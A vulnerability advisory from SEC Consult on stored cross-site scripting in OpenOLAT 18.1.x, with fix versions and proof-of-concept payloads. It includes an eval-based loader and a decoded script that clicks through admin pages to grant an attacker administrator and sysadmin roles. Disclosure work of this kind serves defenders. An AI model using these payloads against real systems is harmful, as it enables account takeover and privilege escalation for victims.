OpenOLAT 18.1.5 Cross Site Scripting / Privilege Escalation Vulnerabilities

=======================================================================
               title: Multiple Stored Cross-Site Scripting Vulnerabilities
             product: OpenOLAT (Frentix GmbH)
  vulnerable version: <= 18.1.4 and <= 18.1.5
       fixed version: 18.1.6 / 18.2
          CVE number: CVE-2024-25973, CVE-2024-25974
              impact: High
            homepage: https://www.openolat.com/
               found: 2023-12-20 and 2024-01-20
                  by: Mike Klostermaier (Office Berlin)
                      Johannes Völpel (Office Berlin)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Eviden business
                      Europe | Asia

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"frentix operates in the areas of e-learning, software development, multimedia
and media production. Providing information and lasting impressions – we
try to reconcile this goal in the area of tension between technology, usability
and design."

"The LMS OpenOlat is an internet-based learning platform for teaching, learning,
assessment and communication, an LMS, a learning management system."

Source: https://www.openolat.com/unternehmen/


Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.


Vulnerability overview/description:
-----------------------------------
1) Multiple Stored Cross-Site-Scripting Vulnerabilities (CVE-2024-25973)
Insufficient filtering and sanitization of user input leads to the creation
of groups, courses and other resources that contain XSS payloads.
This allows an attacker to execute JavaScript code with the permissions of the
victim in the context of the user's browser.

2) Privilege escalation via XSS due to insecure CSP
If the content security policy is not set securely and there is content on
the same page that can be manipulated by the attacker, a privilege
escalation can take place.

3) Stored Cross-Site-Scripting within the Media Center (CVE-2024-25974)
Insufficient filtering and sanitization of malicious files uploaded by a user
leads to stored resources within the Media Center that could contain XSS payloads.
This allows an attacker to execute JavaScript code with the permissions of the
victim in the context of the user's browser.


Proof of concept:
-----------------
1) Multiple Stored Cross-Site-Scripting Vulnerabilities (CVE-2024-25973)
Various XSS issues have been found in different functions of OpenOLAT.
The following examples show different attack scenarios.

Example 1 - Stored Cross-Site-Scripting within Coursenames
Due to insufficient filtering and sanitization of user input, an attacker
with rights to create or edit groups can create a course with a name that
contains an XSS payload. When a user edits this course the name including
the payload is displayed and executed. Furthermore, the XSS payload is
executed when editing the course via the course-editor, within the course-editor's
"layout" tab inside the preview. This also happens multiple times at multiple
locations during the publishing workflow.

The following payload was used as coursename:
```
<img src=x onerror=alert('from\u0020subcat\u0020title')>
```

Example 2 - Stored Cross-Site-Scripting within Catalogname
An attacker, who is authenticated with rights that allow creating or renaming
catalogs, is able to create a catalog (also called sub-category) with a name that
contains an XSS payload due to insufficient filtering and sanitization of user
input.
When a user publishes a course, the name of the catalog including the
payload is displayed and executed within the "Create catalog entry" tab
when selecting "Add to catalog".

The following payload was used as the catalog name:
```
<img src=x onerror=alert('from\u0020subcat\u0020title')>
```

Example 3 - Stored Cross-Site-Scripting within Curriculum Management
An authenticated user of a role, who has the authorization to create
curriculums, is able to create curriculums, whose name contains a JavaScript
payload. These are shown to the members in some views where the JavaScript
payload is executed. To do this, navigate to the overview of the curriculums
via "Curriculum management".
A curriculum can be created via the "Create new curriculum" button in the
window that appears. To recreate the vulnerability, it is sufficient to
enter a JavaScript payload as the identifier.

The following payload was used as curriculum name:
```
<img src=x onerror=alert('from\u0020subcat\u0020title')>
```
When a user with sufficient rights opens the manipulated curriculum via the
"curriculum browser" within the "Curriculum management" the payload within
the curriculum name gets executed within the context of the user's browser.


Example 4 - Stored Cross-Site-Scripting within Alt-Text of Media-Files
An attacker, who is authenticated with rights that allow uploading files,
can upload media files via the "Media Centre" and enter metadata for these
files. One of the fields used for image metadata is the so-called alt-text
field, which is used to enter an alternative display text for image files.
This alternative text is not sanitized properly when entered during the upload
of files.

The following payload was assigned to an image file as alt-text:
```
"><img src=a onerror=alert(document.location)>
```

The upload of the image file works without further problems and is confirmed.
After successfully uploading the image with a manipulated alt-text, the
transmitted payload is executed directly. Using the function to share content
with other users, this manipulated image can be shared to potential victims
(e.g. a system administrator). The user to whom the image has been shared with
can preview it in their media center. As soon as the user views the image details,
the JavaScript payload stored within the alt-text is executed in the context
of the victim's browser.


2) Privilege escalation due to unsafe-eval
If the content security policy is not set securely and there is content on the
same page that can be manipulated by the attacker, a privilege escalation
can take place. As the content security policy is set to "Report-Only" and
"unsafe-eval" is set by default in OpenOLAT, it can be possible to use the
following attack at least in most cases shown here using stored XSS.

An example that loads a script from an external source was not used here,
as this would not have been possible with an activated CSP, whereas this
vulnerability can also be exploited with an activated standard CSP from
OpenOLAT.
The following example can be used at any given point where a XSS is possible
and another string can be manipulated within a readable context:
```
"><img src=x onerror='var ps = document.querySelectorAll(`p`); for (var i = 0; i
< ps.length; i++) { var c = ps[i].textContent; if (c.startsWith(`YXN`))
{ eval(atob(c)); } }'
```

This JavaScript code searches the website for elements that begin
with a certain string (in our example "YXN"), decodes them from base64 and
executes them (due to the unsafe-eval policy) as JavaScript code.
This has been tested to be working with example 4 with the above payload
as the alt-text and the payload mentioned below as the description of the
media file.
The string "YXN" is the start of the base64-encoded following payload:
```
async function main() {
     function sleep(ms) {
         return new Promise(resolve => setTimeout(resolve, ms));
     }
     var n = 2000;
     var anchorElement = document.querySelector('a[title="Manage users and system groups"]');
  anchorElement.click();
     await sleep(n);
     var buttons = document.querySelectorAll('a[title="Organisations"]');
     buttons[0].click();
     await sleep(n);
     var links = document.querySelectorAll('a');
     var organisationLink = Array.from(links).find(function (link) {
         return link.textContent === 'OpenOLAT';
     });
     organisationLink.click();
     await sleep(n);
     var links = document.querySelectorAll('a');
     var chadLink = Array.from(links).find(function (link) {
         return link.textContent === 'Chad';
     });
     await sleep(n);
     chadLink.click();
     await sleep(n);
     var roleTabLinks = document.querySelectorAll('a[role="tab"]');
     var rolesLink = Array.from(roleTabLinks).find(function (link) {
         return link.textContent === 'Roles';
     });
     await sleep(n);
     rolesLink.click();
     await sleep(n);
     var inputElement = document.querySelector('input[value="administrator"]');
     inputElement.click();
     await sleep(n);
     var inputElement = document.querySelector('input[value="sysadmin"]');
     inputElement.click();
     await sleep(n);
     var saveButton = document.querySelector('button[value="Save"]');
     saveButton.click();
}
main();
```

The code shown here utilizes the static structure of OpenOLAT. The use of
control elements is predictable, as long as the name of the organization used
within the OpenOLAT instance is known. This information is freely accessible to
every logged-in user. Lines 14 and 20 contain variables which must be adapted
to the corresponding OpenOLAT instance and attacker username. The executed
script searches for HTML elements with predictable names in order to navigate
to an administrative interface within the application and elevate the
attacker's rights to administrative level.

The script works with two-second pauses between the individual actions
to ensure that all actions are only executed after the page has loaded. Even
if this is visible to the victim, the waiting times between the actions can be
optimized in a real attack and can also be used with the help of obfuscation
measures (e.g. additional windows that open and hide the actions).


3) Stored Cross-Site-Scripting (XSS) within the Media-Center (CVE-2024-25974)
It is possible to upload files within the Media Center of OpenOLAT version 18.1.5
as an authenticated user without any other rights.
While the filetypes are limited, an SVG containing an XSS payload can be
uploaded. The following content has been uploaded within a file
named 'xss.svg':
```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
     alert(document.location);
</script>
</svg>
```

After a successful upload the file can be shared with groups of users.
By sharing the file with a group of which an administrator is part of, the
administrator can access the file and open it, which will open the file in a
new tab within the browser. This leads to the execution of the shown script and
will display a message window stating the current domain and path.


Vulnerable / tested versions:
-----------------------------
The following versions has been tested which was the latest version available
at the time of the test:
* OpenOLAT 18.1.4 Vulnerability 1 and 2
* OpenOLAT 18.1.5 Vulnerability 3

OpenOLAT version 18.2 was verified whether the identified issues were properly
fixed.